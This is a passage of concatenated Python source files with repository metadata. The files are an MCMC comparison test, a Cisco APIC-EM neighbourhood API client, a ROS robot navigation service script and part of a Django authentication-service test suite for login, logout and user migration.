np.array(model.params.lp.mcmc.draws).reshape((-1, 1)) self.assertTrue(set(samples_dict.keys()) == set(mcmc_mat.keys())) if show_figs: import matplotlib.pyplot as plt for i, k in enumerate(samples_dict.keys()): param_shape = samples_dict[k].shape[1] if param_shape >= 5: ncol = 5 nrow = int(np.ceil(param_shape / ncol)) else: ncol = param_shape nrow = 1 plt.figure(i) for j in range(param_shape): plt.subplot(nrow, ncol, j + 1) plt.hist(samples_dict[k][:, j], alpha=0.5) plt.hist(mcmc_mat[k][:, j], alpha=0.5) plt.xlabel(k) plt.legend(['python', 'matlab']) plt.show() for k in samples_dict.keys(): self.assertTrue(np.allclose(np.mean(samples_dict[k], 0), np.mean(mcmc_mat[k], 0))) self.assertTrue(np.allclose(np.std(samples_dict[k], 0), np.std(mcmc_mat[k], 0))) def test_mcmc_multi_sim_and_obs_noD(self): print('starting test_mcmc_multi_sim_and_obs_noD', flush=True) show_figs = True seed = 42. n_mcmc = 20 m = 200 n = 20 nt_sim = 75 nt_obs = 50 n_pc = 5 # must be smaller than nt nx = 3 noise_sd = 0.1 model, matlab_output = setup_multi_sim_and_obs_noD(m=m, n=n, nt_sim=nt_sim, nt_obs=nt_obs, noise_sd=noise_sd, nx=nx, n_pc=n_pc, seed=seed, n_lik=0, n_mcmc=n_mcmc) mcmc_time_mat = matlab_output['mcmc_time'] mcmc_mat = matlab_output['mcmc'] mcmc_mat = {k: np.array(mcmc_mat[k]) for k in mcmc_mat.keys()} # do python sampling np.random.seed(int(seed)) t_start = time() model.do_mcmc(n_mcmc) t_end = time() print('Python mcmc time %0.3g s' % (t_end - t_start), flush=True) print('Matlab mcmc time %0.3g s' % mcmc_time_mat, flush=True) samples_dict = {p.name: p.mcmc_to_array() for p in model.params.mcmcList} samples_dict['logPost'] = np.array(model.params.lp.mcmc.draws).reshape((-1, 1)) self.assertTrue(set(samples_dict.keys()) == set(mcmc_mat.keys())) if show_figs: import matplotlib.pyplot as plt for i, k in enumerate(samples_dict.keys()): param_shape = samples_dict[k].shape[1] if param_shape >= 5: ncol = 5 nrow = int(np.ceil(param_shape / ncol)) else: ncol = param_shape nrow = 1 plt.figure(i) for j in range(param_shape): plt.subplot(nrow, ncol, j + 1) plt.hist(samples_dict[k][:, j], alpha=0.5) plt.hist(mcmc_mat[k][:, j], alpha=0.5) plt.xlabel(k) plt.legend(['python', 'matlab']) plt.show() for k in samples_dict.keys(): self.assertTrue(np.allclose(np.mean(samples_dict[k], 0), np.mean(mcmc_mat[k], 0))) self.assertTrue(np.allclose(np.std(samples_dict[k], 0), np.std(mcmc_mat[k], 0))) if __name__ == '__main__': suite = unittest.TestLoader().loadTestsFromTestCase(SepiaMCMCTestCase) unittest.TextTestRunner(verbosity=2).run(suite)
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py
Python
apis/nb/clients/identity_manager_client/V2NeighborhoodApi.py
CiscoDevNet/APIC-EM-Generic-Scripts-
74211d9488f1e77cf56ef86dba20ec8e8eb49cc1
[ "ECL-2.0", "Apache-2.0" ]
45
2016-06-09T15:41:25.000Z
2019-08-06T17:13:11.000Z
apis/nb/clients/identity_manager_client/V2NeighborhoodApi.py
CiscoDevNet/APIC-EM-Generic-Scripts
74211d9488f1e77cf56ef86dba20ec8e8eb49cc1
[ "ECL-2.0", "Apache-2.0" ]
36
2016-06-12T03:03:56.000Z
2017-03-13T18:20:11.000Z
apis/nb/clients/identity_manager_client/V2NeighborhoodApi.py
CiscoDevNet/APIC-EM-Generic-Scripts
74211d9488f1e77cf56ef86dba20ec8e8eb49cc1
[ "ECL-2.0", "Apache-2.0" ]
15
2016-06-22T03:51:37.000Z
2019-07-10T10:06:02.000Z
#!/usr/bin/env python #pylint: skip-file # This source code is licensed under the Apache license found in the # LICENSE file in the root directory of this project. import sys import os import urllib.request, urllib.parse, urllib.error from .models import * class V2NeighborhoodApi(object): def __init__(self, apiClient): self.apiClient = apiClient def getAllNeighbors(self, **kwargs): """Lists all neighborhood Args: Returns: NeighborhoodListResult """ allParams = [] params = locals() for (key, val) in list(params['kwargs'].items()): if key not in allParams: raise TypeError("Got an unexpected keyword argument '%s' to method getAllNeighbors" % key) params[key] = val del params['kwargs'] resourcePath = '/v2/neighborhood' resourcePath = resourcePath.replace('{format}', 'json') method = 'GET' queryParams = {} headerParams = {} formParams = {} files = {} bodyParam = None headerParams['Accept'] = 'application/json' headerParams['Content-Type'] = 'application/json' postData = (formParams if formParams else bodyParam) response = self.apiClient.callAPI(resourcePath, method, queryParams, postData, headerParams, files=files) if not response: return None responseObject = self.apiClient.deserialize(response, 'NeighborhoodListResult') return responseObject def updateNeighbor(self, **kwargs): """Update Neighbor(s) Args: nbr, NeighborhoodDTO: Neighborhood Object (required) Returns: TaskIdResult """ allParams = ['nbr'] params = locals() for (key, val) in list(params['kwargs'].items()): if key not in allParams: raise TypeError("Got an unexpected keyword argument '%s' to method updateNeighbor" % key) params[key] = val del params['kwargs'] resourcePath = '/v2/neighborhood' resourcePath = resourcePath.replace('{format}', 'json') method = 'PUT' queryParams = {} headerParams = {} formParams = {} files = {} bodyParam = None headerParams['Accept'] = 'application/json' headerParams['Content-Type'] = 'application/json' if ('nbr' in params): bodyParam = params['nbr'] postData = (formParams if formParams else bodyParam) response = self.apiClient.callAPI(resourcePath, method, queryParams, postData, headerParams, files=files) if not response: return None responseObject = self.apiClient.deserialize(response, 'TaskIdResult') return responseObject def addNeighbor(self, **kwargs): """Create Neighbor(s) Args: nbr, NeighborhoodDTO: Neighborhood Object (required) Returns: TaskIdResult """ allParams = ['nbr'] params = locals() for (key, val) in list(params['kwargs'].items()): if key not in allParams: raise TypeError("Got an unexpected keyword argument '%s' to method addNeighbor" % key) params[key] = val del params['kwargs'] resourcePath = '/v2/neighborhood' resourcePath = resourcePath.replace('{format}', 'json') method = 'POST' queryParams = {} headerParams = {} formParams = {} files = {} bodyParam = None headerParams['Accept'] = 'application/json' headerParams['Content-Type'] = 'application/json' if ('nbr' in params): bodyParam = params['nbr'] postData = (formParams if formParams else bodyParam) response = self.apiClient.callAPI(resourcePath, method, queryParams, postData, headerParams, files=files) if not response: return None responseObject = self.apiClient.deserialize(response, 'TaskIdResult') return responseObject def getNeighbor(self, **kwargs): """List a neighborhood Args: id, str: Retrieve Neighborhood for a given UUID (required) Returns: NeighborhoodResult """ allParams = ['id'] params = locals() for (key, val) in list(params['kwargs'].items()): if key not in allParams: raise TypeError("Got an unexpected keyword argument '%s' to method getNeighbor" % key) params[key] = val del params['kwargs'] resourcePath = '/v2/neighborhood/{id}' resourcePath = resourcePath.replace('{format}', 'json') method = 'GET' queryParams = {} headerParams = {} formParams = {} files = {} bodyParam = None headerParams['Accept'] = 'application/json' headerParams['Content-Type'] = 'application/json' if ('id' in params): replacement = str(self.apiClient.toPathValue(params['id'])) replacement = urllib.parse.quote(replacement) resourcePath = resourcePath.replace('{' + 'id' + '}', replacement) postData = (formParams if formParams else bodyParam) response = self.apiClient.callAPI(resourcePath, method, queryParams, postData, headerParams, files=files) if not response: return None responseObject = self.apiClient.deserialize(response, 'NeighborhoodResult') return responseObject def deleteNeighbor(self, **kwargs): """Delete neighborhood Args: id, str: Delete Neighborhood for a given UUID (required) Returns: TaskIdResult """ allParams = ['id'] params = locals() for (key, val) in list(params['kwargs'].items()): if key not in allParams: raise TypeError("Got an unexpected keyword argument '%s' to method deleteNeighbor" % key) params[key] = val del params['kwargs'] resourcePath = '/v2/neighborhood/{id}' resourcePath = resourcePath.replace('{format}', 'json') method = 'DELETE' queryParams = {} headerParams = {} formParams = {} files = {} bodyParam = None headerParams['Accept'] = 'application/json' headerParams['Content-Type'] = 'application/json' if ('id' in params): replacement = str(self.apiClient.toPathValue(params['id'])) replacement = urllib.parse.quote(replacement) resourcePath = resourcePath.replace('{' + 'id' + '}', replacement) postData = (formParams if formParams else bodyParam) response = self.apiClient.callAPI(resourcePath, method, queryParams, postData, headerParams, files=files) if not response: return None responseObject = self.apiClient.deserialize(response, 'TaskIdResult') return responseObject
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py
Python
src/bug.py
pombredanne/setuptools-782
f4fc07001170344557bfa34361a5879a97156163
[ "Apache-2.0" ]
null
null
null
src/bug.py
pombredanne/setuptools-782
f4fc07001170344557bfa34361a5879a97156163
[ "Apache-2.0" ]
null
null
null
src/bug.py
pombredanne/setuptools-782
f4fc07001170344557bfa34361a5879a97156163
[ "Apache-2.0" ]
null
null
null
from __future__ import print_function def run(): print('hello world')
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py
Python
src/armadillo_navigation/scripts/navigation_services_for_simulation.py
aosbgu/ROSPlan-ExperimentPDDL
09de0ba980362606dd1269c6689cb59d6f8776c6
[ "MIT" ]
null
null
null
src/armadillo_navigation/scripts/navigation_services_for_simulation.py
aosbgu/ROSPlan-ExperimentPDDL
09de0ba980362606dd1269c6689cb59d6f8776c6
[ "MIT" ]
null
null
null
src/armadillo_navigation/scripts/navigation_services_for_simulation.py
aosbgu/ROSPlan-ExperimentPDDL
09de0ba980362606dd1269c6689cb59d6f8776c6
[ "MIT" ]
null
null
null
#!/usr/bin/env python import rospy import time import tf import actionlib from actionlib_msgs.msg import GoalStatus from move_base_msgs.msg import MoveBaseAction, MoveBaseGoal from geometry_msgs.msg import Point from armadillo_navigation.srv import ser_message, ser_messageResponse import os, time, signal, threading import subprocess from subprocess import Popen, PIPE, call rospy.init_node('navigation_services') def planning_cobra_center(): #End################################################################################################# print('Planning to cobra-center!\n') time.sleep(1) proc = subprocess.Popen(["roslaunch robotican_demos_upgrade cobra_center.launch"], stdout=PIPE, stderr=PIPE, shell=True, universal_newlines=True) while True: lin = proc.stdout.readline() if "success" in lin and "True" in lin: break elif "success" in lin and "False" in lin: break else: continue proc.terminate() return def _callback_navigate_corner_area(req): # define a client to send goal requests to the move_base server through a SimpleActionClient ac = actionlib.SimpleActionClient("move_base", MoveBaseAction) # wait for the action server to come up while(not ac.wait_for_server(rospy.Duration.from_sec(5.0))): rospy.logwarn("Waiting for the move_base action server to come up") '''while(not ac_gaz.wait_for_server(rospy.Duration.from_sec(5.0))): rospy.loginfo("Waiting for the move_base_simple action server to come up")''' goal = MoveBaseGoal() #set up the frame parameters goal.target_pose.header.frame_id = "/map" goal.target_pose.header.stamp = rospy.Time.now() # moving towards the goal*/ goal.target_pose.pose.position = Point(1.350, 4.495, 0) orientation = tf.transformations.quaternion_from_euler(0, 0, -1.552) goal.target_pose.pose.orientation.x = orientation[0] goal.target_pose.pose.orientation.y = orientation[1] goal.target_pose.pose.orientation.z = orientation[2] goal.target_pose.pose.orientation.w = orientation[3] rospy.loginfo("Sending goal location ...") ac.send_goal(goal) ac.wait_for_result(rospy.Duration(60)) if(ac.get_state() == GoalStatus.SUCCEEDED): print("You have reached the open area") ser_messageResponse(True) time.sleep(1) else: print("The robot failed to reach the open area") ser_messageResponse(False) time.sleep(1) def _callback_navigate_open_area(req): # define a client to send goal requests to the move_base server through a SimpleActionClient ac = actionlib.SimpleActionClient("move_base", MoveBaseAction) # wait for the action server to come up while(not ac.wait_for_server(rospy.Duration.from_sec(5.0))): rospy.logwarn("Waiting for the move_base action server to come up") '''while(not ac_gaz.wait_for_server(rospy.Duration.from_sec(5.0))): rospy.loginfo("Waiting for the move_base_simple action server to come up")''' goal = MoveBaseGoal() #set up the frame parameters goal.target_pose.header.frame_id = "/map" goal.target_pose.header.stamp = rospy.Time.now() # moving towards the goal*/ goal.target_pose.pose.position = Point(5.719, -3.375, 0) orientation = tf.transformations.quaternion_from_euler(0, 0, -1.501) goal.target_pose.pose.orientation.x = orientation[0] goal.target_pose.pose.orientation.y = orientation[1] goal.target_pose.pose.orientation.z = orientation[2] goal.target_pose.pose.orientation.w = orientation[3] rospy.loginfo("Sending goal location ...") ac.send_goal(goal) ac.wait_for_result(rospy.Duration(60)) if(ac.get_state() == GoalStatus.SUCCEEDED): print("You have reached the open area") ser_messageResponse(True) time.sleep(1) else: print("The robot failed to reach the open area") ser_messageResponse(False) time.sleep(1) def _callback_navigate_elevator(req): # define a client to send goal requests to the move_base server through a SimpleActionClient ac = actionlib.SimpleActionClient("move_base", MoveBaseAction) # wait for the action server to come up while(not ac.wait_for_server(rospy.Duration.from_sec(5.0))): rospy.logwarn("Waiting for the move_base action server to come up") '''while(not ac_gaz.wait_for_server(rospy.Duration.from_sec(5.0))): rospy.loginfo("Waiting for the move_base_simple action server to come up")''' goal = MoveBaseGoal() #set up the frame parameters goal.target_pose.header.frame_id = "/map" goal.target_pose.header.stamp = rospy.Time.now() # moving towards the goal*/ goal.target_pose.pose.position = Point(7.650, 3.676, 0) orientation = tf.transformations.quaternion_from_euler(0, 0, 1.650) goal.target_pose.pose.orientation.x = orientation[0] goal.target_pose.pose.orientation.y = orientation[1] goal.target_pose.pose.orientation.z = orientation[2] goal.target_pose.pose.orientation.w = orientation[3] rospy.loginfo("Sending goal location ...") ac.send_goal(goal) ac.wait_for_result(rospy.Duration(60)) time.sleep(4) ##repeated just to adjust the location, important for push button # define a client to send goal requests to the move_base server through a SimpleActionClient ac = actionlib.SimpleActionClient("move_base", MoveBaseAction) # wait for the action server to come up while(not ac.wait_for_server(rospy.Duration.from_sec(5.0))): rospy.logwarn("Waiting for the move_base action server to come up") '''while(not ac_gaz.wait_for_server(rospy.Duration.from_sec(5.0))): rospy.loginfo("Waiting for the move_base_simple action server to come up")''' goal = MoveBaseGoal() #set up the frame parameters goal.target_pose.header.frame_id = "/map" goal.target_pose.header.stamp = rospy.Time.now() # moving towards the goal*/ goal.target_pose.pose.position = Point(7.191, 4.220, 0) orientation = tf.transformations.quaternion_from_euler(0, 0, 1.604) goal.target_pose.pose.orientation.x = orientation[0] goal.target_pose.pose.orientation.y = orientation[1] goal.target_pose.pose.orientation.z = orientation[2] goal.target_pose.pose.orientation.w = orientation[3] rospy.loginfo("Sending goal location ...") ac.send_goal(goal) ac.wait_for_result(rospy.Duration(60)) if(ac.get_state() == GoalStatus.SUCCEEDED): print("You have reached the elevator") ser_messageResponse(True) time.sleep(1) else: print("The robot failed to reach the elevator") ser_messageResponse(False) time.sleep(1) def _callback_navigate_auditorium(req): # define a client to send goal requests to the move_base server through a SimpleActionClient ac = actionlib.SimpleActionClient("move_base", MoveBaseAction) # wait for the action server to come up while(not ac.wait_for_server(rospy.Duration.from_sec(5.0))): rospy.logwarn("Waiting for the move_base action server to come up") '''while(not ac_gaz.wait_for_server(rospy.Duration.from_sec(5.0))): rospy.loginfo("Waiting for the move_base_simple action server to come up")''' goal = MoveBaseGoal() #set up the frame parameters goal.target_pose.header.frame_id = "/map" goal.target_pose.header.stamp = rospy.Time.now() # moving towards the goal*/ goal.target_pose.pose.position = Point(10.020, -0.656, 0) orientation = tf.transformations.quaternion_from_euler(0, 0, -1.519) goal.target_pose.pose.orientation.x = orientation[0] goal.target_pose.pose.orientation.y = orientation[1] goal.target_pose.pose.orientation.z = orientation[2] goal.target_pose.pose.orientation.w = orientation[3] rospy.loginfo("Sending goal location ...") ac.send_goal(goal) ac.wait_for_result(rospy.Duration(60)) if(ac.get_state() == GoalStatus.SUCCEEDED): print("You have reached the auditorium") ser_messageResponse(True) time.sleep(1) else: print("The robot failed to reach the auditorium") ser_messageResponse(False) time.sleep(1) def _callback_navigate_lab_211(req): # define a client to send goal requests to the move_base server through a SimpleActionClient ac = actionlib.SimpleActionClient("move_base", MoveBaseAction) # wait for the action server to come up while(not ac.wait_for_server(rospy.Duration.from_sec(5.0))): rospy.logwarn("Waiting for the move_base action server to come up") '''while(not ac_gaz.wait_for_server(rospy.Duration.from_sec(5.0))): rospy.loginfo("Waiting for the move_base_simple action server to come up")''' goal = MoveBaseGoal() #set up the frame parameters goal.target_pose.header.frame_id = "/map" goal.target_pose.header.stamp = rospy.Time.now() # moving towards the goal*/ goal.target_pose.pose.position = Point(0.356, 0.603, 0) orientation = tf.transformations.quaternion_from_euler(0, 0, 0.224) goal.target_pose.pose.orientation.x = orientation[0] goal.target_pose.pose.orientation.y = orientation[1] goal.target_pose.pose.orientation.z = orientation[2] goal.target_pose.pose.orientation.w = orientation[3] rospy.loginfo("Sending goal location ...") ac.send_goal(goal) ac.wait_for_result(rospy.Duration(60)) if(ac.get_state() == GoalStatus.SUCCEEDED): print("You have reached the lab211") ser_messageResponse(True) time.sleep(1) else: print("The robot failed to reach the lab211") ser_messageResponse(False) time.sleep(1) def _callback_navigate_outside_lab211(req): # define a client to send goal requests to the move_base server through a SimpleActionClient ac = actionlib.SimpleActionClient("move_base", MoveBaseAction) # wait for the action server to come up while(not ac.wait_for_server(rospy.Duration.from_sec(5.0))): rospy.logwarn("Waiting for the move_base action server to come up") '''while(not ac_gaz.wait_for_server(rospy.Duration.from_sec(5.0))): rospy.loginfo("Waiting for the move_base_simple action server to come up")''' goal = MoveBaseGoal() #set up the frame parameters goal.target_pose.header.frame_id = "/map" goal.target_pose.header.stamp = rospy.Time.now() # moving towards the goal*/ goal.target_pose.pose.position = Point(-3.133, 3.741, 0) orientation = tf.transformations.quaternion_from_euler(0, 0, -3.099) goal.target_pose.pose.orientation.x = orientation[0] goal.target_pose.pose.orientation.y = orientation[1] goal.target_pose.pose.orientation.z = orientation[2] goal.target_pose.pose.orientation.w = orientation[3] rospy.loginfo("Sending goal location ...") ac.send_goal(goal) ac.wait_for_result(rospy.Duration(60)) time.sleep(2) #repeat just for solid execution # define a client to send goal requests to the move_base server through a SimpleActionClient ac = actionlib.SimpleActionClient("move_base", MoveBaseAction) # wait for the action server to come up while(not ac.wait_for_server(rospy.Duration.from_sec(5.0))): rospy.logwarn("Waiting for the move_base action server to come up") '''while(not ac_gaz.wait_for_server(rospy.Duration.from_sec(5.0))): rospy.loginfo("Waiting for the move_base_simple action server to come up")''' goal = MoveBaseGoal() #set up the frame parameters goal.target_pose.header.frame_id = "/map" goal.target_pose.header.stamp = rospy.Time.now() # moving towards the goal*/ goal.target_pose.pose.position = Point(-4.352, 4.006, 0) orientation = tf.transformations.quaternion_from_euler(0, 0, -2.884) goal.target_pose.pose.orientation.x = orientation[0] goal.target_pose.pose.orientation.y = orientation[1] goal.target_pose.pose.orientation.z = orientation[2] goal.target_pose.pose.orientation.w = orientation[3] rospy.loginfo("Sending goal location ...") ac.send_goal(goal) ac.wait_for_result(rospy.Duration(60)) if(ac.get_state() == GoalStatus.SUCCEEDED): print("You have reached the outside of lab211") ser_messageResponse(True) time.sleep(1) else: print("The robot failed to reach the outside of lab211") ser_messageResponse(False) time.sleep(1) def _callback_navigate_corridor(req): # define a client to send goal requests to the move_base server through a SimpleActionClient ac = actionlib.SimpleActionClient("move_base", MoveBaseAction) # wait for the action server to come up while(not ac.wait_for_server(rospy.Duration.from_sec(5.0))): rospy.logwarn("Waiting for the move_base action server to come up") '''while(not ac_gaz.wait_for_server(rospy.Duration.from_sec(5.0))): rospy.loginfo("Waiting for the move_base_simple action server to come up")''' goal = MoveBaseGoal() #set up the frame parameters goal.target_pose.header.frame_id = "/map" goal.target_pose.header.stamp = rospy.Time.now() # moving towards the goal*/ goal.target_pose.pose.position = Point(8.659, 3.203, 0) orientation = tf.transformations.quaternion_from_euler(0, 0, 0.008) goal.target_pose.pose.orientation.x = orientation[0] goal.target_pose.pose.orientation.y = orientation[1] goal.target_pose.pose.orientation.z = orientation[2] goal.target_pose.pose.orientation.w = orientation[3] rospy.loginfo("Sending goal location ...") ac.send_goal(goal) ac.wait_for_result(rospy.Duration(60)) if(ac.get_state() == GoalStatus.SUCCEEDED): print("You have reached the corridor") ser_messageResponse(True) time.sleep(1) else: print("The robot failed to reach the corridor") ser_messageResponse(False) time.sleep(1) #it must be in cobra-center position before starting navigation planning_cobra_center() rospy.Service("/elevator_go", ser_message, _callback_navigate_elevator) rospy.loginfo("navigation service is waiting for request...") rospy.Service("/auditorium_go", ser_message, _callback_navigate_auditorium) rospy.loginfo("navigation service is waiting for request...") rospy.Service("/lab_211_go", ser_message, _callback_navigate_lab_211) rospy.loginfo("navigation service is waiting for request...") rospy.Service("/corridor_go", ser_message, _callback_navigate_corridor) rospy.loginfo("navigation service is waiting for request...") rospy.Service("/outside_lab_211_go", ser_message, _callback_navigate_outside_lab211) rospy.loginfo("navigation service is waiting for request...") rospy.Service("/open_area", ser_message, _callback_navigate_open_area) rospy.loginfo("navigation service is waiting for request...") rospy.Service("/corner_area", ser_message, _callback_navigate_corner_area) rospy.loginfo("navigation service is waiting for request...") rospy.spin()
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7
b2f9fc3a1419efd892b2177e374dd53765880698
91,041
py
Python
authentication_service/tests/test_views.py
hedleyroos/core-authentication-service
4a59430cddf23c58322230dd1fe70998fcc46736
[ "BSD-3-Clause" ]
1
2018-03-15T12:49:05.000Z
2018-03-15T12:49:05.000Z
authentication_service/tests/test_views.py
hedleyroos/core-authentication-service
4a59430cddf23c58322230dd1fe70998fcc46736
[ "BSD-3-Clause" ]
215
2017-12-07T09:11:52.000Z
2022-03-11T23:19:59.000Z
authentication_service/tests/test_views.py
hedleyroos/core-authentication-service
4a59430cddf23c58322230dd1fe70998fcc46736
[ "BSD-3-Clause" ]
1
2021-08-17T12:05:32.000Z
2021-08-17T12:05:32.000Z
import datetime import random import uuid from unittest import mock from django.conf import settings from django.contrib import auth from django.contrib.auth import get_user_model, login from django.contrib.auth import hashers from django.contrib.messages import get_messages from django.core import signing from django.core.urlresolvers import reverse from django.test import TestCase, override_settings from django.utils import timezone from django_otp.plugins.otp_totp.models import TOTPDevice from django_otp.util import random_hex from oidc_provider.models import Client from unittest.mock import patch, MagicMock from defender.utils import unblock_username from access_control import Invitation, InvitationRedirectUrl from authentication_service import constants from django.contrib.auth.hashers import check_password, make_password from authentication_service.models import ( SecurityQuestion, UserSecurityQuestion, Organisation ) from authentication_service.user_migration.models import ( TemporaryMigrationUserStore ) class LoginHelper(object): """ Test urls can be handled a bit better, however this was the fastest way to refactor the existing tests. """ # Wizard helper methods def do_login(self, data): return self.client.post( f"{reverse('login')}?next=/openid/authorize/" f"%3Fresponse_type%3Dcode%26scope%3Dopenid%26client_id" f"%3Dmigration_client_id%26redirect_uri%3Dhttp%3A%2F%2F" f"example.com%2F%26state%3D3G3Rhw9O5n0okXjZ6mEd2paFgHPxOvoO", data=data, follow=True ) class TestLogin(TestCase): @classmethod def setUpTestData(cls): super(TestLogin, cls).setUpTestData() cls.user = get_user_model().objects.create_user( username="inactiveuser1", email="inactive@email.com", password="Qwer!234", birth_date=datetime.date(2001, 1, 1) ) cls.user.is_active = False cls.user.save() cls.client = Client.objects.create( client_id="migration_client_id", name= "MigrationCLient", client_secret= "super_client_secret_1", response_type= "code", jwt_alg= "HS256", redirect_uris= ["http://example.com/"] ) def test_logged_in_user(self): url = reverse('login') res = self.client.get(url) self.assertEqual(res.status_code, 200) # force login a user, now he should not see registration page self.client.force_login(self.user) res = self.client.get(url) self.assertRedirects(res, reverse('edit_profile')) def test_inactive_user_login(self): data = { "login_view-current_step": "auth", "auth-username": "inactiveuser1", "auth-password": "Qwer!234" } response = self.client.post( reverse("login"), data=data, follow=True ) self.assertContains(response, "Your account has been deactivated. Please contact support.") # patch bellow django defender util to always return true # func take 3 args (request, login_unsuccessful, get_username) @patch("defender.utils.check_request", new=lambda a, b, c: True) def test_invalid_user_login(self): user = get_user_model().objects.create_user( username="testusername", email="testusername@email.com", password="Qwer!234", birth_date=datetime.date(2001, 1, 1) ) data = { "login_view-current_step": "auth", "auth-username": user.username, "auth-password": "wrongpassword" } response = self.client.post(reverse("login"), data=data, follow=True) self.assertEquals(response.context['form'].errors, { '__all__': [ "Hmmm this doesn't look right. " "Check that you've entered your username and password correctly and try again!" ] }) def test_invalid_user_creds(self): data = { "login_view-current_step": "auth", "auth-username": "", "auth-password": "" } response = self.client.post(reverse("login"), data=data, follow=True) self.assertEquals(response.context['form'].errors, { 'username': ['Please fill in this field.'], 'password': ['This field is required.'], }) def test_active_user_login(self): self.user.is_active = True self.user.save() data = { "login_view-current_step": "auth", "auth-username": self.user.username, "auth-password": "Qwer!234" } response = self.client.post( reverse("login"), data=data, follow=True ) # user should be authenticated self.assertRedirects(response, "{}".format(reverse("edit_profile"))) def test_migrated_user_login(self): temp_user = TemporaryMigrationUserStore.objects.create( username="migrateduser", client_id="migration_client_id", user_id=1 ) temp_user.set_password("Qwer!234") data = { "login_view-current_step": "auth", "auth-username": temp_user.username, "auth-password": "Qwer!234" } response = self.client.post( f"{reverse('login')}?next=/openid/authorize/%3Fresponse_type%3Dcode%26scope%3Dopenid%26client_id%3Dmigration_client_id%26redirect_uri%3Dhttp%3A%2F%2Fexample.com%2F%26state%3D3G3Rhw9O5n0okXjZ6mEd2paFgHPxOvoO", data=data, follow=True ) self.assertIn( "/migrate/", response.redirect_chain[-1][0], ) self.assertIn( "/userdata/", response.redirect_chain[-1][0], ) self.assertEqual( response.redirect_chain[-1][1], 302, ) class TestLogout(LoginHelper, TestCase): @classmethod def setUpTestData(cls): super(TestLogout, cls).setUpTestData() cls.user = get_user_model().objects.create_superuser( username="testuser", email="wrong@email.com", password="Qwer!234", birth_date=datetime.date(2001, 12, 12) ) cls.user.is_active = True cls.user.save() cls.client = Client.objects.create( client_id="migration_client_id", name="MigrationCLient", client_secret="super_client_secret_1", response_type="code", jwt_alg="HS256", redirect_uris=["http://example.com/"] ) def test_logout(self): with self.assertTemplateUsed("authentication_service/message.html"): response = self.client.post( reverse("registration"), { "registration_wizard-current_step": "userdata", "userdata-username": "Username0", "userdata-password1": "password", "userdata-password2": "password", "userdata-gender": "female", "userdata-age": "16", "userdata-terms": True, "userdata-email": "email1@email.com", }, follow=True ) response = self.client.get(reverse("oidc_provider:end-session")) self.assertRedirects(response, reverse('login')) class TestMigration(LoginHelper, TestCase): """ Test urls can be handled a bit better, however this was the fastest way to refactor the existing tests. """ @classmethod def setUpTestData(cls): super(TestMigration, cls).setUpTestData() cls.temp_user = TemporaryMigrationUserStore.objects.create( username="coolmigrateduser", client_id="migration_client_id", user_id=3 ) cls.temp_user.set_password("Qwer!234") cls.user = get_user_model().objects.create_user( username="existinguser", email="existing@email.com", birth_date=datetime.date(2001, 1, 1), password="Qwer!234" ) cls.question_one = SecurityQuestion.objects.create( question_text="Some text for the one question" ) cls.question_two = SecurityQuestion.objects.create( question_text="Some text for the other question" ) Client.objects.create( client_id="migration_client_id", name= "MigrationCLient", client_secret= "super_client_secret_1", response_type= "code", jwt_alg= "HS256", redirect_uris= ["http://example.com/"] ) def test_userdata_step(self): # Login and get the response url data = { "login_view-current_step": "auth", "auth-username": self.temp_user.username, "auth-password": "Qwer!234" } response = self.do_login(data) # Default required data = { "migrate_user_wizard-current_step": "userdata" } response = self.client.post( response.redirect_chain[-1][0], data=data, ) self.assertEqual(response.status_code, 200) self.assertEqual( response.context["wizard"]["steps"].current, "userdata" ) self.assertEqual( response.context["wizard"]["form"].errors, {"username": ["This field is required."], "age": ["This field is required."], "password1": ["This field is required."], "password2": ["This field is required."] } ) # Username unique data = { "migrate_user_wizard-current_step": "userdata", "userdata-username": self.user.username, "userdata-age": 20, "userdata-password1": "asdasd", "userdata-password2": "asdasd" } response = self.client.post( response._request.path, data=data, ) self.assertEqual(response.status_code, 200) self.assertEqual( response.context["wizard"]["steps"].current, "userdata" ) self.assertEqual( response.context["wizard"]["form"].errors, {"username": ["A user with that username already exists."]} ) self.assertContains( response, "A user with that username already exists." ) def test_securityquestion_step(self): # Login and get the response url data = { "login_view-current_step": "auth", "auth-username": self.temp_user.username, "auth-password": "Qwer!234" } response = self.do_login(data) # Username unique data = { "migrate_user_wizard-current_step": "userdata", "userdata-username": "newusername", "userdata-age": 20, "userdata-password1": "asdasd", "userdata-password2": "asdasd" } response = self.client.post( response.redirect_chain[-1][0], data=data, ) response = self.client.get(response.url) data = { "migrate_user_wizard-current_step": "securityquestions", "securityquestions-TOTAL_FORMS": 2, "securityquestions-INITIAL_FORMS": 0, "securityquestions-MIN_NUM_FORMS": 0, "securityquestions-MAX_NUM_FORMS": 1000, } response = self.client.post( response._request.path, data=data, ) self.assertEqual( response.context["wizard"]["form"].non_form_errors(), ["Please fill in all Security Question fields."] ) self.assertContains( response, "Please fill in all Security Question fields." ) data = { "migrate_user_wizard-current_step": "securityquestions", "securityquestions-TOTAL_FORMS": 2, "securityquestions-INITIAL_FORMS": 0, "securityquestions-MIN_NUM_FORMS": 0, "securityquestions-MAX_NUM_FORMS": 1000, "securityquestions-0-question": self.question_one.id, "securityquestions-0-answer": "Answer1", "securityquestions-1-question": self.question_one.id, "securityquestions-1-answer": "Answer2" } response = self.client.post( response._request.path, data=data, ) self.assertEqual( response.context["wizard"]["form"].non_form_errors(), ["Oops! You’ve already chosen this question. Please choose a different one."] ) self.assertContains( response, "Oops! You’ve already chosen this question. Please choose a different one." ) @override_settings(ACCESS_CONTROL_API=MagicMock()) def test_migration_step(self): # Login and get the response url data = { "login_view-current_step": "auth", "auth-username": self.temp_user.username, "auth-password": "Qwer!234" } response = self.do_login(data) # Username unique data = { "migrate_user_wizard-current_step": "userdata", "userdata-username": "newusername", "userdata-age": 20, "userdata-password1": "asdasd", "userdata-password2": "asdasd" } response = self.client.post( response.redirect_chain[-1][0], data=data, follow=True ) data = { "migrate_user_wizard-current_step": "securityquestions", "securityquestions-TOTAL_FORMS": 2, "securityquestions-INITIAL_FORMS": 0, "securityquestions-MIN_NUM_FORMS": 0, "securityquestions-MAX_NUM_FORMS": 1000, "securityquestions-0-question": self.question_one.id, "securityquestions-0-answer": "Answer1", "securityquestions-1-question": self.question_two.id, "securityquestions-1-answer": "Answer2" } self.assertEqual(get_user_model().objects.filter( username=self.temp_user.username).count(), 0 ) response = self.client.post( response._request.path, data=data, follow=True ) self.assertRedirects( response, "/openid/authorize/?response_type=code&scope=openid&client_id=migration_client_id&redirect_uri=http://example.com/&state=3G3Rhw9O5n0okXjZ6mEd2paFgHPxOvoO" ) self.assertEqual(get_user_model().objects.filter( 